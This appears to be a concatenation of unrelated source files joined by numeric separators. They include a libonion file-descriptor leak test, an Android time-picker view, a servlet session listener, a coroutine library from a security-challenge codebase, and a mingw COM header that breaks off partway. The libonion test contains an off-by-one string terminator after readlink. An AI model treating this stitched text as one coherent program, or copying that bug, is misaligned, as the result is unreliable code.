<http://www.apache.org/licenses/LICENSE-2.0>.
*/
#include <onion/log.h>
#include <onion/onion.h>
#include <unistd.h>
#include <sys/wait.h>
#include <dirent.h>
#include <string.h>
#include <stdio.h>
#include <curl/curl.h>
#include "../ctest.h"
#include <fcntl.h>
#include <signal.h>
#include <stdbool.h>
int checkfds();
int handler(const char *me, onion_request * req, onion_response * res);
void init_onion();
void t01_get() {
INIT_LOCAL();
ONION_DEBUG("Now CURL get it");
CURL *curl;
curl = curl_easy_init();
if (!curl) {
FAIL("Curl was not initialized");
} else {
curl_easy_setopt(curl, CURLOPT_URL, "http://localhost:8080");
CURLcode res = curl_easy_perform(curl);
FAIL_IF_NOT_EQUAL((int)res, 0);
long int http_code;
res = curl_easy_getinfo(curl, CURLINFO_HTTP_CODE, &http_code);
FAIL_IF_NOT_EQUAL((int)res, 0);
curl_easy_cleanup(curl);
FAIL_IF_NOT_EQUAL_INT((int)http_code, HTTP_OK);
}
END_LOCAL();
}
/**
* @short Simple server that always launch testfds, and returns the result.
*/
int main(int argc, char **argv) {
START();
if (argc == 2 && strcmp(argv[1], "--checkfds") == 0)
return checkfds(argc, argv);
pid_t pid;
if ((pid = fork()) == 0) {
init_onion(argv[0]);
}
sleep(1);
ONION_DEBUG("Ok, now ask");
t01_get();
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
END();
}
void init_onion(const char *me) {
// Lets close all I dont need.
// Sounds weird but some shells and terminals (yakuake) has laking file descriptors.
// Fast stupid way.
int i;
for (i = 3; i < 256; i++)
close(i);
onion *o;
o = onion_new(O_ONE);
onion_url *urls = onion_root_url(o);
onion_url_add_with_data(urls, "^.*", handler, (void *)me, NULL);
onion_listen(o);
exit(0);
}
/**
* @short Forks a process and calls the fd checker
*/
int handler(const char *me, onion_request * req, onion_response * res) {
ONION_DEBUG("Im %s", me);
pid_t pid;
if ((pid = fork()) == 0) {
ONION_DEBUG("On the other thread");
execl(me, me, "--checkfds", NULL);
ONION_ERROR("Could not execute %s", me);
exit(1); // should not get here
}
int error;
waitpid(pid, &error, 0);
ONION_DEBUG("Error code is %d", error);
if (error == 0) {
onion_response_write0(res, "OK");
} else {
onion_response_set_code(res, HTTP_FORBIDDEN);
onion_response_write0(res, "ERROR. Did not close everything!");
}
return OCS_PROCESSED;
}
/**
* @short Tests how many file descriptor it has open.
*
* Should be the ones that argv says, no more no less. Prints result, and returns 0 if ok, other if different.
*/
int checkfds() {
ONION_INFO("Hello, Im going to check it all");
int nfd = 0;
DIR *dir = opendir("/proc/self/fd");
struct dirent *de;
while ((de = readdir(dir)) != NULL) {
if (de->d_name[0] == '.')
continue;
ONION_INFO("Checking fd %s", de->d_name);
int cfd = atoi(de->d_name);
bool ok = false;
if (cfd < 3) {
ONION_INFO("fd <3 is stdin, stdou, stderr");
ok = true;
}
if (dirfd(dir) == cfd) {
ONION_INFO("Ok, its the dir descriptor");
ok = true;
}
// GNUTls opens urandom at init, before main, checks fd=3 may be that one.
if (cfd == 3) {
char filename[256];
size_t fns = readlink("/proc/self/fd/3", // I know exactly which file.
filename, sizeof(filename));
if (fns > 0) {
filename[fns + 1] = 0; // stupid readlinkat... no \0 at end.
if (strcmp(filename, "/dev/urandom") == 0) {
ok = true;
ONION_INFO("GNU TLS opens /dev/urandom at init.");
} else {
ONION_DEBUG("fd3 is %s", filename);
}
}
}
// Unknown not valid fd.
if (!ok) {
ONION_ERROR("Hey, one fd I dont know about!");
char tmp[256];
snprintf(tmp, sizeof(tmp), "ls --color -l /proc/%d/fd/%s", getpid(),
de->d_name);
int err = system(tmp);
FAIL_IF_NOT_EQUAL_INT(err, 0);
nfd++;
}
}
closedir(dir);
ONION_INFO("Exit code %d", nfd);
exit(nfd);
}
| 2,023 |
384 | <reponame>lhf974941160211/Latin<gh_stars>100-1000
/*
* Copyright (C) 2013 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.holoeverywhere.widget.datetimepicker.time;
import android.content.Context;
import android.content.res.ColorStateList;
import android.content.res.Resources;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Paint.Align;
import android.util.AttributeSet;
import android.util.Log;
import android.view.View;
import org.holoeverywhere.FontLoader;
import org.holoeverywhere.R;
import java.text.DateFormatSymbols;
/**
* Draw the two smaller AM and PM circles next to where the larger circle will be.
*/
public class AmPmCirclesView extends View {
private static final String TAG = "AmPmCirclesView";
private static final int AM = TimePickerDialog.AM;
private static final int PM = TimePickerDialog.PM;
private final Paint mPaint = new Paint();
private int mAmPmTextColor;
private float mCircleRadiusMultiplier;
private float mAmPmCircleRadiusMultiplier;
private String mAmText;
private String mPmText;
private boolean mIsInitialized;
private boolean mDrawValuesReady;
private int mAmPmCircleRadius;
private int mAmXCenter;
private int mPmXCenter;
private int mAmPmYCenter;
private int mAmOrPm;
private int mAmOrPmPressed;
private ColorStateList mCircleBackground;
private int mCircleBackgroundDefault;
public AmPmCirclesView(Context context) {
this(context, null);
}
public AmPmCirclesView(Context context, AttributeSet attrs) {
this(context, attrs, R.attr.dateTimePickerStyle);
}
public AmPmCirclesView(Context context, AttributeSet attrs, int defStyle) {
super(context);
mIsInitialized = false;
TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.DateTimePicker, defStyle, R.style.Holo_DateTimePicker);
mCircleBackground = a.getColorStateList(R.styleable.DateTimePicker_timeAmPmPicker);
mCircleBackgroundDefault = a.getColor(R.styleable.DateTimePicker_timeAmPmPickerBackground, 0);
mAmPmTextColor = a.getColor(R.styleable.DateTimePicker_timeAmPmPickerTextColor, 0);
a.recycle();
}
public void initialize(int amOrPm) {
if (mIsInitialized) {
Log.e(TAG, "AmPmCirclesView may only be initialized once.");
return;
}
Resources res = getContext().getResources();
mPaint.setTypeface(FontLoader.ROBOTO_REGULAR.getTypeface(getContext()));
mPaint.setAntiAlias(true);
mPaint.setTextAlign(Align.CENTER);
mCircleRadiusMultiplier =
Float.parseFloat(res.getString(R.string.time_circle_radius_multiplier));
mAmPmCircleRadiusMultiplier =
Float.parseFloat(res.getString(R.string.time_ampm_circle_radius_multiplier));
String[] amPmTexts = new DateFormatSymbols().getAmPmStrings();
mAmText = amPmTexts[0];
mPmText = amPmTexts[1];
setAmOrPm(amOrPm);
mAmOrPmPressed = -1;
mIsInitialized = true;
}
public void setAmOrPm(int amOrPm) {
mAmOrPm = amOrPm;
}
public void setAmOrPmPressed(int amOrPmPressed) {
mAmOrPmPressed = amOrPmPressed;
}
/**
* Calculate whether the coordinates are touching the AM or PM circle.
*/
public int getIsTouchingAmOrPm(float xCoord, float yCoord) {
if (!mDrawValuesReady) {
return -1;
}
int squaredYDistance = (int) ((yCoord - mAmPmYCenter) * (yCoord - mAmPmYCenter));
int distanceToAmCenter =
(int) Math.sqrt((xCoord - mAmXCenter) * (xCoord - mAmXCenter) + squaredYDistance);
if (distanceToAmCenter <= mAmPmCircleRadius) {
return AM;
}
int distanceToPmCenter =
(int) Math.sqrt((xCoord - mPmXCenter) * (xCoord - mPmXCenter) + squaredYDistance);
if (distanceToPmCenter <= mAmPmCircleRadius) {
return PM;
}
// Neither was close enough.
return -1;
}
@Override
public void onDraw(Canvas canvas) {
int viewWidth = getWidth();
if (viewWidth == 0 || !mIsInitialized) {
return;
}
if (!mDrawValuesReady) {
int layoutXCenter = getWidth() / 2;
int layoutYCenter = getHeight() / 2;
int circleRadius =
(int) (Math.min(layoutXCenter, layoutYCenter) * mCircleRadiusMultiplier);
mAmPmCircleRadius = (int) (circleRadius * mAmPmCircleRadiusMultiplier);
int textSize = mAmPmCircleRadius * 3 / 4;
mPaint.setTextSize(textSize);
// Line up the vertical center of the AM/PM circles with the bottom of the main circle.
mAmPmYCenter = layoutYCenter - mAmPmCircleRadius / 2 + circleRadius;
// Line up the horizontal edges of the AM/PM circles with the horizontal edges
// of the main circle.
mAmXCenter = layoutXCenter - circleRadius + mAmPmCircleRadius;
mPmXCenter = layoutXCenter + circleRadius - mAmPmCircleRadius;
mDrawValuesReady = true;
}
// Draw the two circles.
mPaint.setColor(getCircleBackgroundColor(AM));
canvas.drawCircle(mAmXCenter, mAmPmYCenter, mAmPmCircleRadius, mPaint);
mPaint.setColor(getCircleBackgroundColor(PM));
canvas.drawCircle(mPmXCenter, mAmPmYCenter, mAmPmCircleRadius, mPaint);
// Draw the AM/PM texts on top.
mPaint.setColor(mAmPmTextColor);
int textYCenter = mAmPmYCenter - (int) (mPaint.descent() + mPaint.ascent()) / 2;
canvas.drawText(mAmText, mAmXCenter, textYCenter, mPaint);
canvas.drawText(mPmText, mPmXCenter, textYCenter, mPaint);
}
private int getCircleBackgroundColor(int amOrPm) {
final boolean pressed = mAmOrPmPressed == amOrPm;
final boolean selected = mAmOrPm == amOrPm;
final int[] state = {pressed ? android.R.attr.state_pressed : -android.R.attr.state_pressed,
selected ? android.R.attr.state_selected : -android.R.attr.state_selected};
return mCircleBackground.getColorForState(state, mCircleBackgroundDefault);
}
}
| 2,846 |
966 | # -*- coding: utf-8 -*-
"""Dummy test case that invokes all of the C++ unit tests."""
import moe.build.GPP as C_GP
class TestCppUnitTestWrapper(object):
"""Calls a C++ function that runs all C++ unit tests.
TODO(GH-115): Remove/fix this once C++ gets a proper unit testing framework.
"""
def test_run_cpp_unit_tests(self):
"""Call C++ function that runs all C++ unit tests and assert 0 errors."""
number_of_cpp_test_errors = C_GP.run_cpp_tests()
assert number_of_cpp_test_errors == 0
| 198 |
436 | /*
* Copyright 2003-2006 the original author or authors.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package com.jdon.jivejdon.presentation.listener;
import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;
import javax.servlet.ServletContext;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.http.HttpSession;
import javax.servlet.http.HttpSessionAttributeListener;
import javax.servlet.http.HttpSessionBindingEvent;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
/**
* UserCounterListener class used to count the current number of active users
* for the applications. Does this by counting how many user objects are stuffed
* into the session. It Also grabs these users and exposes them in the servlet
* context.
*
* @web.listener
*/
public class UserCounterListener implements ServletContextListener, HttpSessionListener, HttpSessionAttributeListener {
public static final String COUNT_KEY = "userCounter";
public static final String OnLineUser_KEY = "onLineUser";
// count not correct.
private int activeSessions;
private ServletContext servletContext = null;
public void contextInitialized(ServletContextEvent sce) {
servletContext = sce.getServletContext();
servletContext.setAttribute(COUNT_KEY, this);
servletContext.setAttribute(OnLineUser_KEY, new CopyOnWriteArrayList());
}
public void contextDestroyed(ServletContextEvent event) {
activeSessions = 0;
}
public void sessionCreated(HttpSessionEvent se) {
activeSessions++;
}
// see common/security.jsp
public void sessionDestroyed(HttpSessionEvent se) {
activeSessions--;
HttpSession session = se.getSession();
String username = (String) session.getAttribute("online");
if (username == null) {
return;
}
List userList = (List) servletContext.getAttribute(OnLineUser_KEY);
userList.remove(username);
}
// see common/security.jsp
public void attributeAdded(HttpSessionBindingEvent hsbe) {
if (!"online".equals(hsbe.getName())) {
return;
}
String username = (String) hsbe.getValue();
if (username == null) {
return;
}
List userList = (List) servletContext.getAttribute(OnLineUser_KEY);
userList.add(username);
}
public void attributeRemoved(HttpSessionBindingEvent se) {
if (!"online".equals(se.getName())) {
return;
}
String username = (String) se.getValue();
if (username == null) {
return;
}
List userList = (List) servletContext.getAttribute(OnLineUser_KEY);
userList.remove(username);
}
public void attributeReplaced(HttpSessionBindingEvent se) {
}
// header_Body_Body.jsp call this method
public int getActiveSessions() {
return activeSessions;
}
} | 1,001 |
559 | /***************************************************************************
* Copyright (c) 2016, <NAME>, <NAME>, <NAME> *
* Copyright (c) 2016, QuantStack *
* *
* Distributed under the terms of the BSD 3-Clause License. *
* *
* The full license is in the file LICENSE, distributed with this software. *
****************************************************************************/
#ifndef XEUS_AUTHENTICATION_HPP
#define XEUS_AUTHENTICATION_HPP
#include <memory>
#include <string>
#include "xeus.hpp"
namespace xeus
{
class XEUS_API xraw_buffer
{
public:
xraw_buffer(const unsigned char* data,
size_t size);
const unsigned char* data() const;
size_t size() const;
private:
const unsigned char* m_data;
size_t m_size;
};
class XEUS_API xauthentication
{
public:
virtual ~xauthentication() = default;
xauthentication(const xauthentication&) = delete;
xauthentication& operator=(const xauthentication&) = delete;
xauthentication(xauthentication&&) = delete;
xauthentication& operator=(xauthentication&&) = delete;
std::string sign(const xraw_buffer& header,
const xraw_buffer& parent_header,
const xraw_buffer& meta_data,
const xraw_buffer& content) const;
bool verify(const xraw_buffer& signature,
const xraw_buffer& header,
const xraw_buffer& parent_header,
const xraw_buffer& meta_data,
const xraw_buffer& content) const;
protected:
xauthentication() = default;
private:
virtual std::string sign_impl(const xraw_buffer& header,
const xraw_buffer& parent_header,
const xraw_buffer& meta_data,
const xraw_buffer& content) const = 0;
virtual bool verify_impl(const xraw_buffer& signature,
const xraw_buffer& header,
const xraw_buffer& parent_header,
const xraw_buffer& meta_data,
const xraw_buffer& content) const = 0;
};
XEUS_API std::unique_ptr<xauthentication> make_xauthentication(const std::string& scheme,
const std::string& key);
}
#endif
| 1,400 |
473 | /*
* Copyright (c) 2014 Kaprica Security, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*/
#ifdef FILAMENTS
#undef FILAMENTS
#include "cgc_wrapper.h"
#define FILAMENTS
#include "libcgc.h"
#include "cgc_filaments.h"
#include "cgc_string.h"
static unsigned int g_next_id = 1;
static fib_t *g_fib;
static fib_t *g_active_fibs;
void cgc_filaments_init()
{
fib_t *fib;
if (cgc_allocate(0x1000, 0, (void **)&fib) != 0) cgc__terminate(-1);
fib->id = 0;
fib->stack = 0;
fib->next = NULL;
g_fib = fib;
g_active_fibs = fib;
}
void cgc_filaments_switch(fib_t *new_fib)
{
if (new_fib == g_fib)
return;
if (cgc_setjmp(g_fib->env) == 0)
{
// switch to new_fib
g_fib = new_fib;
cgc_longjmp(g_fib->env, 1);
}
else
{
// just regained control
return;
}
}
void cgc_filaments_yield()
{
fib_t *next = g_fib->next;
if (next == NULL)
next = g_active_fibs;
cgc_filaments_switch(next);
}
void cgc___filaments_new()
{
g_fib->start_func(g_fib->userdata);
// TODO destroy the filament
while (1)
cgc_filaments_yield();
}
void cgc_filaments_new(start_func_t func, void *userdata)
{
fib_t *fib;
if (cgc_allocate(0x1000, 0, (void **)&fib) != 0) cgc__terminate(-1);
fib->id = g_next_id++;
if (cgc_allocate(0x8000, 0, &fib->stack) != 0) cgc__terminate(-1);
fib->start_func = func;
fib->userdata = userdata;
cgc_memset(fib->env, 0, sizeof(fib->env));
fib->env->_b[0] = (long)cgc___filaments_new;
fib->env->_b[2] = (long)fib->stack + 0x7ffc;
fib->next = g_active_fibs;
g_active_fibs = fib;
}
fib_t *cgc_filaments_current()
{
return g_fib;
}
int cgc___filaments_transmit(int fd, const void *buf, cgc_size_t count, cgc_size_t *tx_bytes)
{
cgc_filaments_yield();
int retval = cgc_transmit(fd, buf, count, tx_bytes);
return retval;
}
int cgc___filaments_receive(int fd, void *buf, cgc_size_t count, cgc_size_t *rx_bytes)
{
while (1)
{
struct cgc_timeval tv;
cgc_fd_set rfds;
FD_ZERO(&rfds);
FD_SET(fd, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 0;
if (cgc_fdwait(fd + 1, &rfds, NULL, &tv, NULL) != 0)
break;
if (FD_ISSET(fd, &rfds))
break;
cgc_filaments_yield();
}
int retval = cgc_receive(fd, buf, count, rx_bytes);
return retval;
}
int cgc___filaments_fdwait(int nfds, cgc_fd_set *readfds, cgc_fd_set *writefds,
const struct cgc_timeval *timeout, int *readyfds)
{
cgc_filaments_yield();
int retval = cgc_fdwait(nfds, readfds, writefds, timeout, readyfds);
return retval;
}
int cgc___filaments_allocate(cgc_size_t length, int is_X, void **addr)
{
cgc_filaments_yield();
int retval = cgc_allocate(length, is_X, addr);
return retval;
}
int cgc___filaments_deallocate(void *addr, cgc_size_t length)
{
cgc_filaments_yield();
int retval = cgc_deallocate(addr, length);
return retval;
}
int cgc___filaments_random(void *buf, cgc_size_t count, cgc_size_t *rnd_bytes)
{
cgc_filaments_yield();
int retval = cgc_random(buf, count, rnd_bytes);
return retval;
}
#endif
| 1,853 |
450 | <filename>libs/gum/prof/gumwallclocksampler.c
/*
* Copyright (C) 2009-2018 <NAME> <<EMAIL>>
* Copyright (C) 2009 <NAME> <<EMAIL>>
*
* Licence: wxWindows Library Licence, Version 3.1
*/
#include "gumwallclocksampler.h"
struct _GumWallclockSampler
{
GObject parent;
};
static void gum_wallclock_sampler_iface_init (gpointer g_iface,
gpointer iface_data);
static GumSample gum_wallclock_sampler_sample (GumSampler * sampler);
G_DEFINE_TYPE_EXTENDED (GumWallclockSampler,
gum_wallclock_sampler,
G_TYPE_OBJECT,
0,
G_IMPLEMENT_INTERFACE (GUM_TYPE_SAMPLER,
gum_wallclock_sampler_iface_init))
static void
gum_wallclock_sampler_class_init (GumWallclockSamplerClass * klass)
{
}
static void
gum_wallclock_sampler_iface_init (gpointer g_iface,
gpointer iface_data)
{
GumSamplerInterface * iface = g_iface;
iface->sample = gum_wallclock_sampler_sample;
}
static void
gum_wallclock_sampler_init (GumWallclockSampler * self)
{
}
GumSampler *
gum_wallclock_sampler_new (void)
{
return g_object_new (GUM_TYPE_WALLCLOCK_SAMPLER, NULL);
}
static GumSample
gum_wallclock_sampler_sample (GumSampler * sampler)
{
return g_get_monotonic_time ();
}
| 613 |
12,718 | /**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the mingw-w64 runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 475
#endif
#include <_mingw_unicode.h>
#include "rpc.h"
#include "rpcndr.h"
#ifndef __RPCNDR_H_VERSION__
#error This stub requires an updated version of <rpcndr.h>
#endif
#ifndef COM_NO_WINDOWS_H
#include "windows.h"
#include "ole2.h"
#endif
#ifndef __mobsync_h__
#define __mobsync_h__
#ifndef __ISyncMgrSynchronize_FWD_DEFINED__
#define __ISyncMgrSynchronize_FWD_DEFINED__
typedef struct ISyncMgrSynchronize ISyncMgrSynchronize;
#endif
#ifndef __ISyncMgrSynchronizeCallback_FWD_DEFINED__
#define __ISyncMgrSynchronizeCallback_FWD_DEFINED__
typedef struct ISyncMgrSynchronizeCallback ISyncMgrSynchronizeCallback;
#endif
#ifndef __ISyncMgrEnumItems_FWD_DEFINED__
#define __ISyncMgrEnumItems_FWD_DEFINED__
typedef struct ISyncMgrEnumItems ISyncMgrEnumItems;
#endif
#ifndef __ISyncMgrSynchronizeInvoke_FWD_DEFINED__
#define __ISyncMgrSynchronizeInvoke_FWD_DEFINED__
typedef struct ISyncMgrSynchronizeInvoke ISyncMgrSynchronizeInvoke;
#endif
#ifndef __ISyncMgrRegister_FWD_DEFINED__
#define __ISyncMgrRegister_FWD_DEFINED__
typedef struct ISyncMgrRegister ISyncMgrRegister;
#endif
#ifndef __SyncMgr_FWD_DEFINED__
#define __SyncMgr_FWD_DEFINED__
#ifdef __cplusplus
typedef class SyncMgr SyncMgr;
#else
typedef struct SyncMgr SyncMgr;
#endif
#endif
#include "objidl.h"
#include "oleidl.h"
#ifdef __cplusplus
extern "C" {
#endif
#ifndef __MIDL_user_allocate_free_DEFINED__
#define __MIDL_user_allocate_free_DEFINED__
void *__RPC_API MIDL_user_allocate(size_t);
void __RPC_API MIDL_user_free(void *);
#endif
typedef GUID SYNCMGRITEMID;
typedef REFGUID REFSYNCMGRITEMID;
typedef GUID SYNCMGRERRORID;
typedef REFGUID REFSYNCMGRERRORID;
DEFINE_GUID(CLSID_SyncMgr,0x6295df27,0x35ee,0x11d1,0x87,0x7,0x0,0xc0,0x4f,0xd9,0x33,0x27);
DEFINE_GUID(IID_ISyncMgrSynchronize,0x6295df40,0x35ee,0x11d1,0x87,0x7,0x0,0xc0,0x4f,0xd9,0x33,0x27);
DEFINE_GUID(IID_ISyncMgrSynchronizeCallback,0x6295df41,0x35ee,0x11d1,0x87,0x7,0x0,0xc0,0x4f,0xd9,0x33,0x27);
DEFINE_GUID(IID_ISyncMgrRegister,0x6295df42,0x35ee,0x11d1,0x87,0x7,0x0,0xc0,0x4f,0xd9,0x33,0x27);
DEFINE_GUID(IID_ISyncMgrEnumItems,0x6295df2a,0x35ee,0x11d1,0x87,0x7,0x0,0xc0,0x4f,0xd9,0x33,0x27);
DEFINE_GUID(IID_ISyncMgrSynchronizeInvoke,0x6295df2c,0x35ee,0x11d1,0x87,0x7,0x0,0xc0,0x4f,0xd9,0x33,0x27);
#define S_SYNCMGR_MISSINGITEMS MAKE_SCODE(SEVERITY_SUCCESS,FACILITY_ITF,0x0201)
#define S_SYNCMGR_RETRYSYNC MAKE_SCODE(SEVERITY_SUCCESS,FACILITY_ITF,0x0202)
#define S_SYNCMGR_CANCELITEM MAKE_SCODE(SEVERITY_SUCCESS,FACILITY_ITF,0x0203)
#define S_SYNCMGR_CANCELALL MAKE_SCODE(SEVERITY_SUCCESS,FACILITY_ITF,0x0204)
#define S_SYNCMGR_ITEMDELETED MAKE_SCODE(SEVERITY_SUCCESS,FACILITY_ITF,0x0210)
#define S_SYNCMGR_ENUMITEMS MAKE_SCODE(SEVERITY_SUCCESS,FACILITY_ITF,0x0211)
extern RPC_IF_HANDLE __MIDL_itf_mobsync_0000_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_mobsync_0000_v0_0_s_ifspec;
#ifndef __ISyncMgrSynchronize_INTERFACE_DEFINED__
#define __ISyncMgrSynchronize_INTERFACE_DEFINED__
typedef ISyncMgrSynchronize *LPSYNCMGRSYNCHRONIZE;
typedef enum _tagSYNCMGRFLAG {
SYNCMGRFLAG_CONNECT = 0x1,SYNCMGRFLAG_PENDINGDISCONNECT = 0x2,SYNCMGRFLAG_MANUAL = 0x3,SYNCMGRFLAG_IDLE = 0x4,SYNCMGRFLAG_INVOKE = 0x5,
SYNCMGRFLAG_SCHEDULED = 0x6,SYNCMGRFLAG_EVENTMASK = 0xff,SYNCMGRFLAG_SETTINGS = 0x100,SYNCMGRFLAG_MAYBOTHERUSER = 0x200
} SYNCMGRFLAG;
#define MAX_SYNCMGRHANDLERNAME (32)
#define SYNCMGRHANDLERFLAG_MASK 0x07
typedef enum _tagSYNCMGRHANDLERFLAGS {
SYNCMGRHANDLER_HASPROPERTIES = 0x1,SYNCMGRHANDLER_MAYESTABLISHCONNECTION = 0x2,SYNCMGRHANDLER_ALWAYSLISTHANDLER = 0x4
} SYNCMGRHANDLERFLAGS;
typedef struct _tagSYNCMGRHANDLERINFO {
DWORD cbSize;
HICON hIcon;
DWORD SyncMgrHandlerFlags;
WCHAR wszHandlerName[32 ];
} SYNCMGRHANDLERINFO;
typedef struct _tagSYNCMGRHANDLERINFO *LPSYNCMGRHANDLERINFO;
#define SYNCMGRITEMSTATE_UNCHECKED 0x0000
#define SYNCMGRITEMSTATE_CHECKED 0x0001
typedef enum _tagSYNCMGRSTATUS {
SYNCMGRSTATUS_STOPPED = 0,SYNCMGRSTATUS_SKIPPED = 0x1,SYNCMGRSTATUS_PENDING = 0x2,SYNCMGRSTATUS_UPDATING = 0x3,SYNCMGRSTATUS_SUCCEEDED = 0x4,
SYNCMGRSTATUS_FAILED = 0x5,SYNCMGRSTATUS_PAUSED = 0x6,SYNCMGRSTATUS_RESUMING = 0x7,SYNCMGRSTATUS_DELETED = 0x100
} SYNCMGRSTATUS;
EXTERN_C const IID IID_ISyncMgrSynchronize;
#if defined(__cplusplus) && !defined(CINTERFACE)
struct ISyncMgrSynchronize : public IUnknown {
public:
virtual HRESULT WINAPI Initialize(DWORD dwReserved,DWORD dwSyncMgrFlags,DWORD cbCookie,const BYTE *lpCookie) = 0;
virtual HRESULT WINAPI GetHandlerInfo(LPSYNCMGRHANDLERINFO *ppSyncMgrHandlerInfo) = 0;
virtual HRESULT WINAPI EnumSyncMgrItems(ISyncMgrEnumItems **ppSyncMgrEnumItems) = 0;
virtual HRESULT WINAPI GetItemObject(REFSYNCMGRITEMID ItemID,REFIID riid,void **ppv) = 0;
virtual HRESULT WINAPI ShowProperties(HWND hWndParent,REFSYNCMGRITEMID ItemID) = 0;
virtual HRESULT WINAPI SetProgressCallback(ISyncMgrSynchronizeCallback *lpCallBack) = 0;
virtual HRESULT WINAPI PrepareForSync(ULONG cbNumItems,SYNCMGRITEMID *pItemIDs,HWND hWndParent,DWORD dwReserved) = 0;
virtual HRESULT WINAPI Synchronize(HWND hWndParent) = 0;
virtual HRESULT WINAPI SetItemStatus(REFSYNCMGRITEMID pItemID,DWORD dwSyncMgrStatus) = 0;
virtual HRESULT WINAPI ShowError(HWND hWndParent,REFSYNCMGRERRORID ErrorID) = 0;
};
#else
typedef struct ISyncMgrSynchronizeVtbl {
BEGIN_INTERFACE
HRESULT (WINAPI *QueryInterface)(ISyncMgrSynchronize *This,REFIID riid,void **ppvObject);
ULONG (WINAPI *AddRef)(ISyncMgrSynchronize *This);
ULONG (WINAPI *Release)(ISyncMgrSynchronize *This);
HRESULT (WINAPI *Initialize)(ISyncMgrSynchronize *This,DWORD dwReserved,DWORD dwSyncMgrFlags,DWORD cbCookie,const BYTE *lpCookie);
HRESULT (WINAPI *GetHandlerInfo)(ISyncMgrSynchronize *This,LPSYNCMGRHANDLERINFO *ppSyncMgrHandlerInfo);
HRESULT (WINAPI *EnumSyncMgrItems)(ISyncMgrSynchronize *This,ISyncMgrEnumItems **ppSyncMgrEnumItems);
HRESULT (WINAPI *GetItemObject)(ISyncMgrSynchronize *This,REFSYNCMGRITEMID ItemID,REFIID riid,void **ppv);
HRESULT (WINAPI *ShowProperties)(ISyncMgrSynchronize *This,HWND hWndParent,REFSYNCMGRITEMID ItemID);
HRESULT (WINAPI *SetProgressCallback)(ISyncMgrSynchronize *This,ISyncMgrSynchronizeCallback *lpCallBack);
HRESULT (WINAPI *PrepareForSync)(ISyncMgrSynchronize *This,ULONG cbNumItems,SYNCMGRITEMID *pItemIDs,HWND hWndParent,DWORD dwReserved);
HRESULT (WINAPI *Synchronize)(ISyncMgrSynchronize *This,HWND hWndParent);
HRESULT (WINAPI *SetItemStatus)(ISyncMgrSynchronize *This,REFSYNCMGRITEMID pItemID,DWORD dwSyncMgrStatus);
HRESULT (WINAPI *ShowError)(ISyncMgrSynchronize *This,HWND hWndParent,REFSYNCMGRERRORID ErrorID);
END_INTERFACE
} ISyncMgrSynchronizeVtbl;
struct ISyncMgrSynchronize {
CONST_VTBL struct ISyncMgrSynchronizeVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ISyncMgrSynchronize_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject)
#define ISyncMgrSynchronize_AddRef(This) (This)->lpVtbl->AddRef(This)
#define ISyncMgrSynchronize_Release(This) (This)->lpVtbl->Release(This)
#define ISyncMgrSynchronize_Initialize(This,dwReserved,dwSyncMgrFlags,cbCookie,lpCookie) (This)->lpVtbl->Initialize(This,dwReserved,dwSyncMgrFlags,cbCookie,lpCookie)
#define ISyncMgrSynchronize_GetHandlerInfo(This,ppSyncMgrHandlerInfo) (This)->lpVtbl->GetHandlerInfo(This,ppSyncMgrHandlerInfo)
#define ISyncMgrSynchronize_EnumSyncMgrItems(This,ppSyncMgrEnumItems) (This)->lpVtbl->EnumSyncMgrItems(This,ppSyncMgrEnumItems)
#define ISyncMgrSynchronize_GetItemObject(This,ItemID,riid,ppv) (This)->lpVtbl->GetItemObject(This,ItemID,riid,ppv)
#define ISyncMgrSynchronize_ShowProperties(This,hWndParent,ItemID) (This)->lpVtbl->ShowProperties(This,hWndParent,ItemID)
#define ISyncMgrSynchronize_SetProgressCallback(This,lpCallBack) (This)->lpVtbl->SetProgressCallback(This,lpCallBack)
#define ISyncMgrSynchronize_PrepareForSync(This,cbNumItems,pItemIDs,hWndParent,dwReserved) (This)->lpVtbl->PrepareForSync(This,cbNumItems,pItemIDs,hWndParent,dwReserved)
